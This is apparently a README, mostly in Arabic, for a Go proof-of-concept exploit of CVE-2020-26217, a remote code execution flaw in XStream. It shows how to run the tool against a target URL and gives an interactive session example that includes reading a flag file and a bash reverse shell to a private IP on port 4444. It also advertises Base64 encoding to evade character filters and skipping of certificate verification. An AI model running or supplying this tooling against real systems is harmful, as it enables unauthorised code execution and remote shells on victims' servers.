استغلال CVE-2020-26217 XStream RCE

أداة استغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد في XStream.

وصف الثغرة

CVE-2020-26217 هي ثغرة إلغاء تسلسل في مكتبة XStream، حيث يمكن للمهاجم تشغيل تنفيذ التعليمات البرمجية عن بُعد عبر إنشاء بيانات XML خبيثة.

الإصدارات المتأثرة: XStream <= 1.4.13

طريقة الاستخدام

go run poc.go <目标URL>

مثال

# 运行工具
go run poc.go http://target.com:8080/?data

# 进入交互模式后输入命令
cmd> whoami
cmd> cat /flag
cmd> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
cmd> exit

الميزات

• تنفيذ أوامر تفاعلي
• تحليل تلقائي لاسم معامل URL
• ترميز Base64 لتجاوز فلترة الأحرف الخاصة
• دعم HTTPS (تخطي التحقق من الشهادة)

البناء